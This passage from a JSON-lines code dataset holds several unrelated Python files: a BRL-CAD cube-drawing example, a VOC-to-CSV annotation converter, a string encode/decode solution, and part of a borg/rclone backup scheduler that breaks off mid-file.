+{"seq_id":"77058081","text":"\"\"\"\nThis is the python version of sgi.sh using the python-brlcad module.\n\nusage:\n python sgi.py sgi.g\nTo Render : \n rtedge -s 1024 -F output.pix sgi.g cube.r\n pix-png -s 1024 < output.pix > output.png\n\"\"\"\n\nfrom brlcad.procedural import *\nimport brlcad.geometry as geometry\n\ndef right(a, b, rcc_name, sph_name):\n global x\n old = x\n x = old + b\n draw_rcc(rcc_name, [old, y, z, x-old, 0, 0, radius], brl_db)\n draw_sphere(sph_name, [x, y, z, radius], brl_db)\n\ndef left(a, b, rcc_name, sph_name):\n global x\n old = x\n x = old - b\n draw_rcc(rcc_name, [old, y, z, x - old, 0, 0, radius], brl_db)\n draw_sphere(sph_name, [x, y, z, radius], brl_db)\n\ndef forward(a, b, rcc_name, sph_name):\n global y\n old = y\n y = old + b\n draw_rcc(rcc_name, [x, old, z, 0, y - old, 0, radius], brl_db)\n draw_sphere(sph_name, [x, y, z, radius], brl_db)\n\ndef back(a, b, rcc_name, sph_name):\n global y\n old = y\n y = old - b\n draw_rcc(rcc_name, [x, old, z, 0, y - old, 0, radius], brl_db)\n draw_sphere(sph_name, [x, y, z, radius], brl_db)\n\ndef up(a, b, rcc_name, sph_name):\n global z\n old = z\n z = old + b\n draw_rcc(rcc_name, [x, y, old, 0, 0, z - old, radius], brl_db)\n draw_sphere(sph_name, [x, y, z, radius], brl_db)\n\ndef down(a, b, rcc_name, sph_name):\n global z\n old = z\n z = old - b\n draw_rcc(rcc_name, [x, y, old, 0, 0, z - old, radius], brl_db)\n draw_sphere(sph_name, [x, y, z, radius], brl_db)\n\nif __name__ == \"__main__\":\n argv = sys.argv\n union_list = []\n database_name = argv[1]\n # cube dimensions\n i, j, radius = 1000, 800, 100\n # starting position\n x, y, z = 0, 0, 0\n brl_db = geometry.Database(database_name, \"SGI.g\")\n forward_list, back_list = [100, 107, 114], [105, 109, 116]\n up_list, down_list = [104, 111, 115], [102, 106, 113]\n right_list, left_list = [103, 110, 117], [101, 108, 112]\n\n for iterator in range (100, 118):\n rcc_name, sph_name = \"rcc.\" + str(iterator), \"sph.\" + str(iterator)\n union_list.extend((rcc_name, sph_name))\n if iterator in forward_list:\n forward(iterator, i, rcc_name, sph_name)\n if iterator in back_list:\n back(iterator, i, rcc_name, sph_name)\n if iterator in up_list:\n up(iterator, i, rcc_name, sph_name)\n if iterator in down_list:\n down(iterator, i, rcc_name, sph_name)\n if iterator in right_list:\n right(iterator, i, rcc_name, sph_name)\n if iterator in left_list:\n left(iterator, i, rcc_name, sph_name)\n\n brl_db.combination(\n \"cube.r\",\n is_region=True,\n tree=union(union_list),\n shader=\"plastic {di=.8 sp=.2}\",\n rgb_color=(64, 180, 96)\n )","sub_path":"examples/sgi.py","file_name":"sgi.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"274793843","text":"\"\"\"\n用于自定义数据集的训练时,产生自定义数据集的annotation.csv和mapping.csv文件,用于自定义数据集的训练\n\"\"\"\nimport os\nimport cv2\nimport xml.etree.ElementTree as ET\nimport numpy as np\nimport csv\nimport pandas as pd\nimport argparse\nimport copy\n\ndef get_data(input_path):\n\t\"\"\"\n\tinput_path: 只需要给定到VOC所在的文件夹,如:input_path = 'F:/study_files/faster_rcnn/training_data/VOCdevkit'\n\treturn: all_imgs, classes_count, class_mapping\n\t1. all_imgs: 是一个list,每一条信息是以字典形式存储包含了一张图片的所有信息。字典名称包含:图片的高度,宽度,路径和所处训练集和框。\n\t其中bboxes是一个list,每一条信息是以字典形式存储的包含了一个box的所有信息。有难度,类别和上下两点的坐标。如:\t[{'height': 500, \n\t'imageset': 'train','width': 486, 'filepath':'F:/study_files/faster_rcnn/training_data/VOCdevkit\\\\VOC2012\\\\JPEGImages\\\\2007_000027.jpg',\n\t'bboxes': [{'x2': 349, 'y1': 101, 'class': 'person', 'y2': 351, 'difficult':False, 'x1': 174}]}]\n\t2. classes_count: 是一个字典,其存储类别和对应的总个数,如:{'person': 2, 'horse': 1}\n\t3. class_mapping: 是一个字典,其存储每个类别及其对应的编号,如:{'person': 0, 'horse': 1}\"\"\"\n\tall_imgs = []\n\n\tclasses_count = {}\n\n\tclass_mapping = {}\n\n\tvisualise = False\n\t# 只遍历VOC2007的话,可以使用下面的一行代码\n\t# data_paths = [os.path.join(input_path, s) for s in ['VOC2007']]\n\n\t# data_paths = [os.path.join(input_path,s) for s in ['VOC2007', 'VOC2012']] # 这句表示遍历VOC2007和VOC2012,这取决于你的数据集\n\tdata_path = input_path\n\t\n\n\tprint('Parsing annotation files')\n\n\n\t#for data_path in data_paths:\n\n\tannot_path = os.path.join(data_path, 'Annotations') # xml文件所在的文件夹路径\n\timgs_path = os.path.join(data_path, 'JPEGImages') # 原始图片所在的文件夹路径\n\timgsets_path_train = os.path.join(data_path, 'ImageSets','Main','train.txt')\n\t# imgsets_path_val = os.path.join(data_path, 'ImageSets', 'Main', 'val.txt')\n\timgsets_path_test = os.path.join(data_path, 'ImageSets','Main','test.txt') # 将给定的路径和名称结合得到需要的路径\n\n\ttrain_files = []\n\t# val_files = []\n\ttest_files = []\n\ttry:\n\t\twith open(imgsets_path_train) as f: # 打开文件,默认位只读模式\n\t\t\t\"\"\"得到训练集图片文件的名称\"\"\"\n\t\t\tfor line in f: # 按行读取对象类的文字\n\t\t\t\ttrain_files.append(line.strip() + '.jpg') # 去除空格\n\texcept Exception as e:\n\t\tprint(e)\n\n\t# try:\n\t# \twith open(imgsets_path_val) as f: # 打开文件,默认位只读模式\n\t# \t\t\"\"\"得到训练集图片文件的名称\"\"\"\n\t# \t\tfor line in f: # 按行读取对象类的文字\n\t# \t\t\tval_files.append(line.strip() + '.jpg') # 去除空格\n\t# except Exception as e:\n\t# \tprint(e)\n\n\ttry:\n\t\twith open(imgsets_path_test) as f:\n\t\t\t\"\"\"得到测试集图片文件的名称\"\"\"\n\t\t\tfor line in f:\n\t\t\t\ttest_files.append(line.strip() + '.jpg')\n\texcept Exception as e:\n\t\tif data_path[-7:] == 'VOC2012':\n\t\t\t# this is expected, most pascal voc distibutions dont have the test.txt file\n\t\t\tpass\n\t\telse:\n\t\t\tprint(e)\n\t\n\tannots = [os.path.join(annot_path, s) for s in os.listdir(annot_path)] # 得到anot_path的所有xml文件\n\tidx = 0\n\tfor annot in annots:\n\t\t\"\"\"\n\t\t开始遍历xml文件\n\t\t1. \"\"\"\n\t\ttry:\n\t\t\tidx += 1\n\n\t\t\tet = ET.parse(annot) # 读取xml文件\n\t\t\telement = et.getroot() # 得到xml的根,所有很包含的属性都可以从中得到\n\n\t\t\telement_objs = element.findall('object') # 得到图片中框出来的对象\n\t\t\telement_filename = element.find('filename').text+\".jpg\" # 得到图片的名称\n\t\t\telement_width = int(element.find('size').find('width').text) # 得到图片的宽,由于.text是文字形式,所以使用int将其转变为数值\n\t\t\telement_height = int(element.find('size').find('height').text) # 得到图片的高\n\n\t\t\tif len(element_objs) > 0: # 首先要判断存在对象\n\t\t\t\tannotation_data = {'filepath': os.path.join(imgs_path, element_filename), 'width': element_width,\n\t\t\t\t\t\t\t\t 'height': element_height, 'bboxes': []} # annotation_data存储这张图片的基本信息,包括路径,高和宽,框,所属数据集\n\n\t\t\t\tif element_filename in train_files:\n\t\t\t\t\t\"\"\"\n\t\t\t\t\t把图片所属数据集的信息加到annotation_data里面,如果属于训练集,就把它归为训练集\n\t\t\t\t\t\"\"\"\n\t\t\t\t\tannotation_data['imageset'] = 'train'\n\t\t\t\telif element_filename in test_files:\n\t\t\t\t\tannotation_data['imageset'] = 'test'\n\t\t\t\t# else:\n\t\t\t\t# \tannotation_data['imageset'] = 'val'\n\n\t\t\tfor element_obj in element_objs:\n\t\t\t\t\"\"\"遍历图片中所有框出来的object对象\"\"\"\n\t\t\t\tclass_name = element_obj.find('name').text\n\t\t\t\tif class_name not in classes_count:\n\t\t\t\t\tclasses_count[class_name] = 1\n\t\t\t\telse:\n\t\t\t\t\tclasses_count[class_name] += 1 # 得到每种类别的个数\n\n\t\t\t\tif class_name not in class_mapping:\n\t\t\t\t\tclass_mapping[class_name] = len(class_mapping) # 得到每个类别对应的序号(标签)\n\n\t\t\t\tobj_bbox = element_obj.find('bndbox')\n\t\t\t\tx1 = int(round(float(obj_bbox.find('xmin').text)))\n\t\t\t\ty1 = int(round(float(obj_bbox.find('ymin').text)))\n\t\t\t\tx2 = int(round(float(obj_bbox.find('xmax').text)))\n\t\t\t\ty2 = int(round(float(obj_bbox.find('ymax').text)))\n\t\t\t\tdifficulty = int(element_obj.find('difficult').text) == 1\n\t\t\t\tannotation_data['bboxes'].append(\n\t\t\t\t\t{'class': class_name, 'x1': x1, 'x2': x2, 'y1': y1, 'y2': y2, 'difficult': difficulty})\n\t\t\tall_imgs.append(annotation_data) # 得到一条完整的图片信息\n\n\t\t\tif visualise: # 是否需要读一张图片显示一张\n\t\t\t\timg = cv2.imread(annotation_data['filepath'])\n\t\t\t\tfor bbox in annotation_data['bboxes']:\n\t\t\t\t\t\"\"\"根据框的坐标在原图上把物体框出来\"\"\"\n\t\t\t\t\tcv2.rectangle(img, (bbox['x1'], bbox['y1']), (bbox[\n\t\t\t\t\t\t\t\t 'x2'], bbox['y2']), (0, 0, 255))\n\t\t\t\tcv2.imshow('img', img)\n\t\t\t\tcv2.waitKey(0)\n\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tcontinue\n\treturn all_imgs, classes_count, class_mapping\n\n\n# 制作csv数据集,一个包含annotation信息,另一个包含class_mapping信息\ndef annotation_csv(input_path, output_path):\n\tall_imgs, _, _, = get_data(input_path)\n\tif not os.path.exists(output_path):\n\t\tos.makedirs(output_path)\n\tfor img in all_imgs:\n\t\tfor bbox in img['bboxes']:\n\t\t\tx1 = bbox['x1']\n\t\t\ty1 = bbox['y1']\n\t\t\tx2 = bbox['x2']\n\t\t\ty2 = bbox['y2']\n\t\t\tclass_name = bbox['class']\n\t\t\tfilepath = img['filepath']\n\t\t\tif class_name is not None:\n\t\t\t\timg_info = [filepath, x1, y1, x2, y2, class_name]\n\t\t\telse:\n\t\t\t\timg_info = [filepath, '', '', '', '', '']\n\t\t\timageset = img['imageset']\n\t\t\tif imageset == 'train':\n\t\t\t\toutput_file = os.path.join(output_path, 'annotation_train.csv')\n\t\t\t\tcsvfile = open(output_file, 'w', newline='')\n\t\t\t\twriter = csv.writer(csvfile)\n\t\t\t\twriter.writerows([img_info])\n\t\t\t\tcsvfile.close()\n\t\t\telif imageset == 'test':\n\t\t\t\toutput_file = os.path.join(output_path, 'annotation_test.csv')\n\t\t\t\tcsvfile = open(output_file, 'w', newline='')\n\t\t\t\twriter = csv.writer(csvfile)\n\t\t\t\twriter.writerows([img_info])\n\t\t\t\tcsvfile.close()\n\t\t\telse:\n\t\t\t\toutput_file = os.path.join(output_path, 'annotation_val.csv')\n\t\t\t\tcsvfile = open(output_file, 'w', newline='')\n\t\t\t\twriter = csv.writer(csvfile)\n\t\t\t\twriter.writerows([img_info])\n\t\t\t\tcsvfile.close()\n\tprint('annotaion_csv generate done')\n\n# all_imgs, _, _ = get_data('D:\\\\jupyter_file\\\\blood-cells\\\\dataset-master\\\\dataset-master')\n# print(all_imgs[0])\n# ll_imgs: 是一个list,每一条信息是以字典形式存储包含了一张图片的所有信息。字典名称包含:图片的高度,宽度,路径和所处训练集和框。\n# 其中bboxes是一个list,每一条信息是以字典形式存储的包含了一个box的所有信息。有难度,类别和上下两点的坐标。如���\t[{'height': 500, \n# 'imageset': 'train','width': 486, 'filepath':'F:/study_files/faster_rcnn/training_data/VOCdevkit\\\\VOC2012\\\\JPEGImages\\\\2007_000027.jpg',\n# 'bboxes': [{'x2': 349, 'y1': 101, 'class': 'person', 'y2': 351, 'difficult':False, 'x1': 174}]}]\n\n\ndef annotation_csv2(input_path, output_path):\n\tall_imgs, _, _, = get_data(input_path)\n\tif not os.path.exists(output_path):\n\t\tos.makedirs(output_path)\n\timgs = []\n\tfor img in all_imgs:\n\t\tbboxes = img.pop(\"bboxes\")\n\t\tfor bbox in bboxes:\n\t\t\timg_cp = copy.deepcopy(img)\n\t\t\tfor bbox_key, bbox_value in bbox.items():\n\t\t\t\timg_cp[bbox_key] = bbox_value\n\t\timgs.append(img_cp)\n\timg_df = pd.DataFrame(imgs)\n\timg_df = img_df[img_df[\"x1\"] < img_df[\"x2\"]]\n\timg_df = img_df[img_df[\"y1\"] < img_df[\"y2\"]]\n\timg_df_need = img_df.loc[:, [\"filepath\", \"x1\", \"y1\", \"x2\", \"y2\", \"class\"]]\n\timg_df_train = img_df_need[img_df[\"imageset\"]==\"train\"]\n\timg_df_test = img_df_need[img_df[\"imageset\"]==\"test\"]\n\t# img_df_valid = img_df[img_df[\"imageset\"]==\"valid\"]\n\timg_df_train.to_csv(os.path.join(output_path, \"annotation_train.csv\"), header=False, index=False)\n\timg_df_test.to_csv(os.path.join(output_path, \"annotation_test.csv\"), header=False, index=False)\n\tprint('annotaion_csv generate done')\n\n\ndef mapping_csv(input_path, output_path):\n\t_, _, class_mapping = get_data(input_path)\n\tif not os.path.exists(output_path):\n\t\tos.makedirs(output_path)\n\toutput_file = os.path.join(output_path, 'mapping.csv')\n\tcsvfile = open(output_file, 'w', newline='')\n\twriter = csv.writer(csvfile)\n\tfor k, v in class_mapping.items():\n\t\tmapping_info = [k, v]\n\t\twriter.writerows([mapping_info])\n\tcsvfile.close()\n\tprint('mapping_csv generate done')\n\n\n\n\n# def parse_args(args):\n# \tparser = argparse.ArgumentParser(description='generate annotation file and classes file')\n# \tsubparsers = parser.add_subparsers(help='arguments for csv dataset', dest='dataset_type')\n# \tsubparsers.required = True\n\n# \timg_data = subparsers.add_parser('data')\n# \timg_data.add_argument('data_path', help='path to VOCdevkit')\n\n\nannotation_csv2('D:/jupyter_file/blood-cells/dataset-master/dataset-master', './out')\nmapping_csv('D:/jupyter_file/blood-cells/dataset-master/dataset-master', './out')\n","sub_path":"keras_retinanet/bin/csv_data.py","file_name":"csv_data.py","file_ext":"py","file_size_in_byte":9957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"464649534","text":"class Solution:\n def encode(self, strs):\n res = \"\"\n for str_ in strs:\n res += str(len(str_)) + \"#\"\n res += str_\n return res\n\n def decode(self, s):\n res = []\n start = 0\n while start < len(s):\n idx = s.index('#', start)\n size = int(s[start:idx])\n res.append(s[idx + 1: idx + size + 1])\n start = idx + size + 1\n return res\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n enc = sol.encode([\"Hello\", \"World\"])\n print(sol.decode(enc))\n","sub_path":"Solutions/271. Encode and Decode Strings/271.py","file_name":"271.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"481206610","text":"# Imports\nimport bakery\nimport copy\nimport os\nimport pytz\nimport schedule\n\n# From Imports\nfrom addict import Dict\nfrom datetime import datetime\nfrom loguru import logger\nfrom mm import colorize\nfrom nanite import fullpath, module_installed\nfrom toml import load\n\n# Nanotech Imports\nfrom nanotech.decorators import rt\n\n# Debug Imports\npout = module_installed(\"pout\")\n\nls = logger.success\nlw = logger.warning\nle = logger.error\nmeltan = bakery.ext_(\n\tfullpath(\"/usr/bin/meltan\"),\n\t_bake_kwargs={\"_type\": str, \"_ignore_stderr\": True},\n)\n\ntoday = lambda tz: datetime.now(pytz.timezone(tz)).strftime(\n\t\"%Y.%m.%d\"\n)\n\n\nclass base:\n\tdef __init__(self, device, skip_restart):\n\t\tself.device = device\n\t\tself.skip_restart = skip_restart\n\t\tself.repositories = Dict(\n\t\t\tload(\n\t\t\t\tfullpath(\n\t\t\t\t\tos.path.dirname(__file__),\n\t\t\t\t\t\"trinity\",\n\t\t\t\t\tself.device + \".toml\",\n\t\t\t\t)\n\t\t\t)\n\t\t)\n\t\tself.log_path = fullpath(self.repositories.logs)\n\n\t\tif not os.path.isdir(self.log_path):\n\t\t\tos.makedirs(self.log_path)\n\n\t\tif not os.path.isdir(fullpath(self.log_path, \"weekly\")):\n\t\t\tos.makedirs(fullpath(self.log_path, \"weekly\"))\n\n\t\tif not os.path.isdir(fullpath(self.log_path, \"monthly\")):\n\t\t\tos.makedirs(fullpath(self.log_path, \"monthly\"))\n\n\t\tself.timezone = \"Canada/Eastern\"\n\t\tself.dicts = Dict({})\n\t\tlogger.add(\n\t\t\tfullpath(\n\t\t\t\tself.log_path, today(self.timezone) + \".log\"\n\t\t\t),\n\t\t\trotation=\"00:00\",\n\t\t\tretention=\"2 months\",\n\t\t)\n\n\tdef _versioned_logging(self, repo, job, active=True):\n\t\tif active:\n\t\t\tdt = datetime.now(pytz.timezone(self.timezone))\n\t\t\tdt_formatted = dt.strftime(\"%Y.%m.%d.%H.%M.%S\")\n\t\t\tvcs = self.repositories.repos[repo].versioned\n\t\t\ts_repo = self.repositories.repos[repo].repository\n\t\t\ts_remo = self.repositories.repos[repo].remote\n\t\t\ttry:\n\t\t\t\tif self.dicts[repo][job].dry_run:\n\t\t\t\t\tpass\n\t\t\t\telse:\n\n\t\t\t\t\tdef rclone_push():\n\t\t\t\t\t\tbakery.rclone.sync(\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"value\": vcs.repository,\n\t\t\t\t\t\t\t\t\"quotes\": True,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tf'\"google:{vcs.repository}\"',\n\t\t\t\t\t\t\tdrive_use_trash=False,\n\t\t\t\t\t\t)\n\n\t\t\t\t\tif vcs.type == \"local\":\n\t\t\t\t\t\ttemp_repo_directory = vcs.repository\n\t\t\t\t\t\tif \" \" in temp_repo_directory:\n\t\t\t\t\t\t\ttemp_repo_directory = (\n\t\t\t\t\t\t\t\tf'\"{temp_repo_directory}\"'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t_name = self.dicts[repo][job].name if self.dicts[repo][job].name else job\n\t\t\t\t\t\tbakery.borg.create(\n\t\t\t\t\t\t\tf\"{temp_repo_directory}::{_name}.{dt_formatted}\",\n\t\t\t\t\t\t\t{\"value\": s_repo, \"quotes\": True},\n\t\t\t\t\t\t\tcompression=\"auto,zstd,22\",\n\t\t\t\t\t\t)\n\t\t\t\t\t\tif vcs.push:\n\t\t\t\t\t\t\trclone_push()\n\t\t\t\t\telif vcs.type == \"remote\":\n\t\t\t\t\t\t\"\"\"\n\t\t\t\t\t\t\tIMPORTANT!\n\n\t\t\t\t\t\t\tInitialize the repo with \"/usr/local/bin/borg1/borg1\" for rsync.net repos, or else initialize it with the local executable, but then access it once with \"/usr/local/bin/borg1/borg1\".\n\t\t\t\t\t\t\"\"\"\n\t\t\t\t\t\ttemp_repo_directory = vcs.rem_repo\n\t\t\t\t\t\tif \" \" in temp_repo_directory:\n\t\t\t\t\t\t\ttemp_repo_directory = (\n\t\t\t\t\t\t\t\tf'\"{temp_repo_directory}\"'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\tbakery.ssh(\n\t\t\t\t\t\t\tf\"{s_remo.user}@{s_remo.address}\",\n\t\t\t\t\t\t\t\"/usr/local/bin/borg1/borg1\"\n\t\t\t\t\t\t\tif \"rsync.net\" in s_remo.address\n\t\t\t\t\t\t\telse \"borg\",\n\t\t\t\t\t\t\t\"create\",\n\t\t\t\t\t\t\t\"--compression\",\n\t\t\t\t\t\t\t\"auto,zstd,22\",\n\t\t\t\t\t\t\tf\"{temp_repo_directory}::{self.dicts[repo][job].name}.{dt_formatted}\",\n\t\t\t\t\t\t\t{\"value\": s_repo, \"quotes\": True},\n\t\t\t\t\t\t)\n\t\t\t\t\t\tbakery.rsync(\n\t\t\t\t\t\t\tarchive=True,\n\t\t\t\t\t\t\tdelete=True,\n\t\t\t\t\t\t\tprotect_args=True,\n\t\t\t\t\t\t\t_end_args=(\n\t\t\t\t\t\t\t\tdict(\n\t\t\t\t\t\t\t\t\tvalue=f\"{s_remo.user}@{s_remo.address}:{vcs.rem_repo}/\",\n\t\t\t\t\t\t\t\t\tquotes=True,\n\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\tdict(\n\t\t\t\t\t\t\t\t\tvalue=f\"{vcs.repository}/\",\n\t\t\t\t\t\t\t\t\tquotes=True,\n\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t)\n\t\t\t\t\t\tif vcs.push:\n\t\t\t\t\t\t\trclone_push()\n\t\t\t\t\telse:\n\t\t\t\t\t\tle(\n\t\t\t\t\t\t\tcolorize(\"red\", \"Sorry! VCS \")\n\t\t\t\t\t\t\t+ colorize(\"pink\", vcs.type)\n\t\t\t\t\t\t\t+ colorize(\"red\", \" does not exist!\")\n\t\t\t\t\t\t)\n\t\t\t\t\t\treturn 1\n\t\t\t\tls(\n\t\t\t\t\tcolorize(\"pink\", dt_formatted)\n\t\t\t\t\t+ colorize(\"green\", ' | Repo: \"')\n\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t+ colorize(\"green\", '\" --> Job: \"')\n\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\"pink\",\n\t\t\t\t\t\tf\"{vcs.type.capitalize()} Versioning\",\n\t\t\t\t\t)\n\t\t\t\t\t+ colorize(\"green\", f'\" | Run successfully!')\n\t\t\t\t)\n\t\t\texcept Exception as e:\n\t\t\t\tle(\n\t\t\t\t\tcolorize(\"pink\", dt_formatted)\n\t\t\t\t\t+ colorize(\"red\", ' | Repo: \"')\n\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t+ colorize(\"red\", '\" --> Job: \"')\n\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\"pink\",\n\t\t\t\t\t\tf\"{vcs.type.capitalize()} Versioning\",\n\t\t\t\t\t)\n\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\"red\",\n\t\t\t\t\t\t'\" | Sorry; something happened! This is what we got:\\n',\n\t\t\t\t\t)\n\t\t\t\t\t+ colorize(\"pink\", e)\n\t\t\t\t)\n\n\tdef _job_logging(self, repo, job, _dict):\n\t\tdt = datetime.now(pytz.timezone(self.timezone))\n\t\tdt_formatted = dt.strftime(\"%Y.%m.%d.%H.%M.%S\")\n\t\tif _dict:\n\t\t\treturn_code: str = meltan.cmd(**_dict).stdout\n\t\t\ttry:\n\t\t\t\tint_code: int = int(return_code.split(\"\\n\")[0])\n\t\t\t\tif 0 <= int_code <= 1:\n\t\t\t\t\tif (\n\t\t\t\t\t\tint_code\n\t\t\t\t\t\tand self.repositories.repos[\n\t\t\t\t\t\t\trepo\n\t\t\t\t\t\t].versioned\n\t\t\t\t\t):\n\t\t\t\t\t\trt(\n\t\t\t\t\t\t\tself._versioned_logging,\n\t\t\t\t\t\t\t[repo, job],\n\t\t\t\t\t\t\tthread_on=True,\n\t\t\t\t\t\t)\n\t\t\t\t\tls(\n\t\t\t\t\t\tcolorize(\"pink\", dt_formatted)\n\t\t\t\t\t\t+ colorize(\"green\", ' | Repo: \"')\n\t\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t\t+ colorize(\"green\", '\" --> Job: \"')\n\t\t\t\t\t\t+ colorize(\"pink\", job)\n\t\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\t\"green\",\n\t\t\t\t\t\t\tf'\" | Run successfully! | {\"Files were affected!\" if int_code else \"Files were unaffected!\"}',\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\telse:\n\t\t\t\t\tle(\n\t\t\t\t\t\tcolorize(\"pink\", dt_formatted)\n\t\t\t\t\t\t+ colorize(\"red\", ' | Repo: \"')\n\t\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t\t+ colorize(\"red\", '\" --> Job: \"')\n\t\t\t\t\t\t+ colorize(\"pink\", job)\n\t\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\t\"red\",\n\t\t\t\t\t\t\t'\" | Sorry; something happened! This was the return code: ',\n\t\t\t\t\t\t)\n\t\t\t\t\t\t+ colorize(\"pink\", int_code)\n\t\t\t\t\t)\n\t\t\texcept ValueError:\n\t\t\t\tle(\n\t\t\t\t\tcolorize(\"pink\", dt_formatted)\n\t\t\t\t\t+ colorize(\"red\", ' | Repo: \"')\n\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t+ colorize(\"red\", '\" --> Job: \"')\n\t\t\t\t\t+ colorize(\"pink\", job)\n\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\"red\",\n\t\t\t\t\t\t'\" | Sorry; something happened! Better check your logs! This is what we got:\\n',\n\t\t\t\t\t)\n\t\t\t\t\t+ colorize(\"pink\", return_code.rstrip())\n\t\t\t\t)\n\n\tdef _rt_logging_meltan(self, repo, job):\n\t\tself._create_dict(repo)\n\t\trt(\n\t\t\tself._job_logging,\n\t\t\t[repo, job, self.dicts[repo][job]],\n\t\t\tthread_on=True,\n\t\t)\n\n\tdef _restart_backups(self, repo, job):\n\t\t# Comment the line below out and see what happens.\n\t\t# self._create_dict(repo)\n\t\tif self.skip_restart:\n\t\t\tpass\n\t\telse:\n\t\t\tself._rt_logging_meltan(repo, job)\n\n\tdef _weekly_or_monthly_backups(self, repo, weekly=False):\n\t\timport tinydb\n\n\t\tself._create_dict(repo)\n\n\t\tjob = \"weekly\" if weekly else \"monthly\"\n\t\tjob_date_format = \"%Y.%m.%d\" if weekly else \"%Y.%m\"\n\t\tcurrent_date = datetime.now(pytz.timezone(self.timezone))\n\t\tcurrent_date_formatted = current_date.strftime(\n\t\t\tjob_date_format\n\t\t)\n\t\twmdb = tinydb.TinyDB(\n\t\t\tfullpath(\n\t\t\t\t\"~/scion/logs/pippy\", self.device, \"wm.json\"\n\t\t\t),\n\t\t\tsort_keys=True,\n\t\t\tindent=4,\n\t\t\tseparators=(\",\", \": \"),\n\t\t)\n\t\twmquery = tinydb.Query()\n\t\ttry:\n\t\t\twmlist = wmdb.search(wmquery[job])[0][job]\n\t\texcept IndexError:\n\t\t\twmlist = []\n\t\t\twmdb.insert({job : wmlist})\n\t\twmdict = {job : wmlist + [current_date_formatted]}\n\n\t\tdef inner():\n\t\t\tself.dicts[repo][job].pop(\"name\", None)\n\t\t\tself._rt_logging_meltan(repo, job)\n\t\t\twmdb.update(wmdict, wmquery[job])\n\n\t\tdef date_exists():\n\t\t\treturn current_date_formatted in wmlist\n\n\t\tif not date_exists():\n\t\t\t# Run the weekly backup if necessary\n\t\t\tif weekly:\n\t\t\t\tif int(current_date.strftime(\"%d\")) % 7 == 0:\n\t\t\t\t\tinner()\n\t\t\t# Run the monthly backup if necessary\n\t\t\telse:\n\t\t\t\tinner()\n\n\tdef _create_dict(self, repo):\n\n\t\tsr = self.repositories.repos\n\t\tsb = self.repositories.base\n\t\tsd = self.dicts\n\t\tsrrdc = sr[repo].dir_checks\n\n\t\t# This is fine; this doesn't update the same job twice, it creates a new dictionary for each job, as there are different jobs in each category, i.e. \"base\" and \"repos\".\n\t\tdef inner(job):\n\t\t\tif not sd[repo].get(job, False):\n\t\t\t\tsd[repo][job] = Dict(copy.deepcopy(sb.options))\n\t\t\t\tsd[repo][job].update(sr[repo].options)\n\t\t\t\tfor mod in sb.jobs[job]:\n\t\t\t\t\tsd[repo][job][mod] = sb.jobs[job][mod]\n\t\t\t\tfor mod in sr[repo].jobs[job]:\n\t\t\t\t\tsd[repo][job][mod] = sr[repo].jobs[job][mod]\n\t\t\t\t_ = sd[repo][job].config_dir\n\t\t\t\tif _ and _ != \"default\":\n\t\t\t\t\tsd[repo][job].config_dir = dict(\n\t\t\t\t\t\tvalue=_, quotes=True\n\t\t\t\t\t)\n\n\t\tdef for_inner():\n\t\t\tfor job in sb.jobs:\n\t\t\t\tinner(job)\n\t\t\tfor job in sr[repo].jobs:\n\t\t\t\tinner(job)\n\n\t\tdef check_dirs():\n\t\t\tdt = datetime.now(pytz.timezone(self.timezone))\n\t\t\tdt_formatted = dt.strftime(\"%Y.%m.%d.%H.%M.%S\")\n\t\t\tis_dirs = []\n\t\t\tfilled_dirs = []\n\t\t\tfor directory in srrdc:\n\t\t\t\tif os.path.isdir(directory):\n\t\t\t\t\tis_dirs.append(True)\n\t\t\t\t\tif any(os.listdir(directory)):\n\t\t\t\t\t\tfilled_dirs.append(True)\n\t\t\t\t\telse:\n\t\t\t\t\t\tfilled_dirs.append(False)\n\t\t\t\telse:\n\t\t\t\t\tis_dirs.append(False)\n\t\t\t\t\tfilled_dirs.append(False)\n\t\t\tif all(is_dirs) and all(filled_dirs):\n\t\t\t\tfor_inner()\n\t\t\telif not all(is_dirs) and not all(filled_dirs):\n\t\t\t\tlw(\n\t\t\t\t\tcolorize(\n\t\t\t\t\t\t\"yellow\",\n\t\t\t\t\t\t'Sorry! None of the directories seem to be available or non-empty at the moment! Not running jobs of repository \"',\n\t\t\t\t\t)\n\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t+ colorize(\"yellow\", '\".')\n\t\t\t\t)\n\t\t\telse:\n\t\t\t\tfor (\n\t\t\t\t\tdirectory,\n\t\t\t\t\tis_directory,\n\t\t\t\t\tfilled_directory,\n\t\t\t\t) in zip(srrdc, is_dirs, filled_dirs):\n\t\t\t\t\tif not is_directory:\n\t\t\t\t\t\tlw(\n\t\t\t\t\t\t\tcolorize(\"pink\", dt_formatted)\n\t\t\t\t\t\t\t+ colorize(\"yellow\", ' | Repo: \"')\n\t\t\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\t\t\"yellow\",\n\t\t\t\t\t\t\t\t'\" | Sorry! Directory 